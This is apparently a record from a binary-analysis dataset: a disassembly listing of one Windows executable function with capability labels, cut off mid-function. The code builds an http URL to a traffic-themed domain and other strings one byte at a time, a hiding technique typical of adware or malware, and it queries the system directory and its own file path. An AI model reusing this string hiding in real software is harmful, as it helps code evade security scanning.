Function at 0x401028
Capabilities:
Get common file path
Query environment variable

Disassembly:
push 0x10c
push 0
push 0x41033c
call sub.CRTDLL.dll_memset
add esp, 0xc
mov eax, dword [esp + 4]
mov dword [0x410340], eax
push 0
push 0xfa0
push 0
call sub.KERNEL32.DLL_HeapCreate
mov dword [0x41033c], eax
push 0x40d2c4
pop dword [0x41034c]
call fcn.0040bf08
call fcn.0040bbad
call fcn.00409d80
call fcn.00409850
call fcn.0040905d
call fcn.00407864
call fcn.00406293
call fcn.00407290
call fcn.00406ef0
call fcn.00406988
push 0x989680
call fcn.00406e80
push dword [0x40d334]
mov ebx, dword [0x4103d4]
add ebx, 0x68
mov eax, ebx
call fcn.0040652b
push dword [0x40d334]
mov ebx, dword [0x4103d4]
add ebx, 0x74
mov eax, ebx
call fcn.0040652b
pop eax
push dword [0x40d334]
mov ebx, dword [0x4103d4]
add ebx, 0x74
mov eax, ebx
call fcn.0040652b
pop eax
push dword [0x40d334]
mov ebx, dword [0x4103d4]
add ebx, 0x70
mov eax, ebx
call fcn.0040652b
pop eax
push dword [0x40d334]
mov ebx, dword [0x4103d4]
add ebx, 0x3a
mov eax, ebx
call fcn.0040652b
pop eax
push dword [0x40d334]
mov ebx, dword [0x4103d4]
add ebx, 0x2f
mov eax, ebx
call fcn.0040652b
pop eax
push dword [0x40d334]
mov ebx, dword [0x4103d4]
add ebx, 0x2f
mov eax, ebx
call fcn.0040652b
pop eax
push dword [0x40d334]
mov ebx, dword [0x4103d4]
add ebx, 0x62
mov eax, ebx
call fcn.0040652b
pop eax
push dword [0x40d334]
mov ebx, dword [0x4103d4]
add ebx, 0x65
mov eax, ebx
call fcn.0040652b
pop eax
push dword [0x40d334]
mov ebx, dword [0x4103d4]
add ebx, 0x73
mov eax, ebx
call fcn.0040652b
pop eax
push dword [0x40d334]
mov ebx, dword [0x4103d4]
add ebx, 0x74
mov eax, ebx
call fcn.0040652b
pop eax
push dword [0x40d334]
mov ebx, dword [0x4103d4]
add ebx, 0x2d
mov eax, ebx
call fcn.0040652b
pop eax
push dword [0x40d334]
mov ebx, dword [0x4103d4]
add ebx, 0x74
mov eax, ebx
call fcn.0040652b
pop eax
push dword [0x40d334]
mov ebx, dword [0x4103d4]
add ebx, 0x61
mov eax, ebx
call fcn.0040652b
pop eax
push dword [0x40d334]
mov ebx, dword [0x4103d4]
add ebx, 0x72
mov eax, ebx
call fcn.0040652b
pop eax
push dword [0x40d334]
mov ebx, dword [0x4103d4]
add ebx, 0x67
mov eax, ebx
call fcn.0040652b
pop eax
push dword [0x40d334]
mov ebx, dword [0x4103d4]
add ebx, 0x65
mov eax, ebx
call fcn.0040652b
pop eax
push dword [0x40d334]
mov ebx, dword [0x4103d4]
add ebx, 0x74
mov eax, ebx
call fcn.0040652b
pop eax
push dword [0x40d334]
mov ebx, dword [0x4103d4]
add ebx, 0x65
mov eax, ebx
call fcn.0040652b
pop eax
push dword [0x40d334]
mov ebx, dword [0x4103d4]
add ebx, 0x64
mov eax, ebx
call fcn.0040652b
pop eax
push dword [0x40d334]
mov ebx, dword [0x4103d4]
add ebx, 0x2d
mov eax, ebx
call fcn.0040652b
pop eax
push dword [0x40d334]
mov ebx, dword [0x4103d4]
add ebx, 0x74
mov eax, ebx
call fcn.0040652b
pop eax
push dword [0x40d334]
mov ebx, dword [0x4103d4]
add ebx, 0x72
mov eax, ebx
call fcn.0040652b
pop eax
push dword [0x40d334]
mov ebx, dword [0x4103d4]
add ebx, 0x61
mov eax, ebx
call fcn.0040652b
pop eax
push dword [0x40d334]
mov ebx, dword [0x4103d4]
add ebx, 0x66
mov eax, ebx
call fcn.0040652b
pop eax
push dword [0x40d334]
mov ebx, dword [0x4103d4]
add ebx, 0x66
mov eax, ebx
call fcn.0040652b
pop eax
push dword [0x40d334]
mov ebx, dword [0x4103d4]
add ebx, 0x69
mov eax, ebx
call fcn.0040652b
pop eax
push dword [0x40d334]
mov ebx, dword [0x4103d4]
add ebx, 0x63
mov eax, ebx
call fcn.0040652b
pop eax
push dword [0x40d334]
mov ebx, dword [0x4103d4]
add ebx, 0x2e
mov eax, ebx
call fcn.0040652b
pop eax
push dword [0x40d334]
mov ebx, dword [0x4103d4]
add ebx, 0x63
mov eax, ebx
call fcn.0040652b
pop eax
push dword [0x40d334]
mov ebx, dword [0x4103d4]
add ebx, 0x6f
mov eax, ebx
call fcn.0040652b
pop eax
push dword [0x40d334]
mov ebx, dword [0x4103d4]
add ebx, 0x6d
mov eax, ebx
call fcn.0040652b
pop eax
push dword [0x40d334]
mov ebx, dword [0x4103d4]
add ebx, 0x2f
mov eax, ebx
call fcn.0040652b
pop eax
lea ecx, [0x4103ac]
pop edx
call fcn.004069ac
mov edx, 0x40d00c
lea ecx, [0x410410]
call fcn.004069f8
push dword [0x40d334]
mov ebx, dword [0x4103d4]
add ebx, 0x23
mov eax, ebx
call fcn.0040652b
push dword [0x40d334]
mov ebx, dword [0x410360]
add ebx, 0x24
mov eax, ebx
call fcn.0040652b
pop eax
push dword [0x40d334]
mov ebx, dword [0x4103d4]
add ebx, 0x23
mov eax, ebx
call fcn.0040652b
pop eax
push dword [0x40d334]
mov ebx, dword [0x410360]
add ebx, 0x24
mov eax, ebx
call fcn.0040652b
pop eax
lea ecx, [0x4103f0]
pop edx
call fcn.004069ac
push dword [0x40d334]
mov eax, 0x22b
call fcn.004068bb
lea ecx, [0x4103f8]
pop edx
call fcn.004069ac
push 0x22b
mov eax, dword [0x4103f8]
push eax
call sub.KERNEL32.DLL_GetSystemDirectoryA
mov edx, dword [0x4103f8]
push dword [0x40d334]
call fcn.00406a58
mov edx, 0x40d010
call fcn.00406a58
lea ecx, [0x4103f8]
pop edx
call fcn.004069ac
push dword [0x40d334]
mov eax, 0x401
call fcn.004068bb
lea ecx, [0x4103a8]
pop edx
call fcn.004069ac
push dword [0x40d334]
mov eax, 0x22b
call fcn.004068bb
lea ecx, [0x4103fc]
pop edx
call fcn.004069ac
push 0x22b
mov eax, dword [0x4103fc]
push eax
call sub.KERNEL32.DLL_GetSystemDirectoryA
mov edx, dword [0x4103fc]
push dword [0x40d334]
call fcn.00406a58
mov edx, 0x40d010
call fcn.00406a58
lea ecx, [0x4103fc]
pop edx
call fcn.004069ac
push 0x401
mov eax, dword [0x4103a8]
push eax
push 0
call sub.KERNEL32.DLL_GetModuleHandleA
push eax
call sub.KERNEL32.DLL_GetModuleFileNameA
push dword [0x40d334]
push dword [0x4103a8]
call fcn.00409610
lea ecx, [0x410394]
pop edx
call fcn.004069ac
push dword [0x40d334]
push dword [0x4103a8]
call fcn.004096b0
lea ecx, [0x4103e0]
pop edx
call fcn.004069ac
push 8
push 0x410438
push 0x40d2bc
mov ebx, 4
mov edx, dword [0x410438]
call fcn.00412000
mov eax, 0xb
mov ebx, 4
call fcn.00412040
lea ebp, [0x41042c]
mov word [ebp], 8
push dword [0x40d334]
mov edx, 0x40d012
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d012
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d012
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
lea ecx, [0x410364]
pop edx
call fcn.004069ac
push dword [0x40d334]
mov edx, 0x40d012
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d012
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d012
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
lea ecx, [0x41036c]
pop edx
call fcn.004069ac
push dword [0x40d334]
mov edx, 0x40d012
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d014
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d016
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d018
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d01a
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d01c
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d01e
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d020
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d022
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d024
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d012
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d014
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d016
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d018
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d01a
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d026
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d028
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d02a
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d012
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
lea ecx, [0x410370]
pop edx
call fcn.004069ac
push dword [0x40d334]
mov edx, 0x40d014
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d016
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d018
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d01a
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d02c
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d02a
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d02e
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d028
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d030
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d032
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d034
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d036
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d012
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d012
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d014
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d016
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d018
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d01a
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d028
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d030
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d036
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d01e
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d014
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d038
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d012
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
lea ecx, [0x410374]
pop edx
call fcn.004069ac
push dword [0x40d334]
mov edx, 0x40d03a
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d028
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d036
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d01a
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d026
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d028
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d02a
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d01a
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d03c
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d01a
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d03e
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d040
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d028
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d01e
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d036
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d028
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d042
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d02a
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d044
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d028
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d046
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d036
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d022
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d048
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d03a
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d04a
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d028
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d034
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d034
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d04c
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d04e
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d050
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d050
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d034
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d016
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d046
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d01e
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d036
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d016
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d038
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d01c
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d048
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d024
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d012
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d03a
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d028
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d036
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d01a
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d026
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d028
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d02a
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d01a
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d03c
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d01a
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d026
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d028
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d02a
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d04c
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d026
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d016
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d01c
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d014
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d038
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d02c
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d030
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d012
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d012
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
lea ecx, [0x410378]
pop edx
call fcn.004069ac
push dword [0x40d334]
mov edx, 0x40d012
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d052
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d032
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d01c
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d046
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d036
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d016
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d038
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d01c
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d01a
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d02c
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d02a
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d054
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d040
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d034
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d022
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d01a
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d016
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d01c
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d016
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d046
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d016
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d038
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d01a
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d024
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d012
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d02c
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d02a
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d02e
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d028
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d030
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d032
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d034
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d036
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d01a
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d03c
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d01a
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d048
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d048
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d012
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
lea ecx, [0x41037c]
pop edx
call fcn.004069ac
push dword [0x40d334]
mov edx, 0x40d038
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d01c
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d01a
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d028
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d040
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d040
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d038
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d040
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d01a
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d040
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d028
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d030
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d032
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d018
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d028
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d01a
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d01c
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d028
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d056
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d036
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d012
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d014
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d016
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d018
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d01a
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d02c
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d036
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d012
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d02c
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d036
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d01a
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d03c
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d01a
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d026
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d028
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d02a
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d04c
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d046
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d038
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d032
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d01c
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d036
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d058
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d05a
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d012
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
lea ecx, [0x410380]
pop edx
call fcn.004069ac
push dword [0x40d334]
mov edx, 0x40d052
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d038
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d040
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d01a
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d016
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d01a
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d03c
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d01a
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d05c
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d01a
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d05e
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d038
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d01a
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d02c
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d036
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d012
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d028
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d040
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d040
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d04c
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d046
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d034
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d028
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d01e
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d040
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d012
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d012
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
lea ecx, [0x410384]
pop edx
call fcn.004069ac
push dword [0x40d334]
mov edx, 0x40d060
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d062
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d01a
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d05e
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d064
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d050
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d028
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d066
call fcn.00406a58
mov edx, dword [0x41035c]
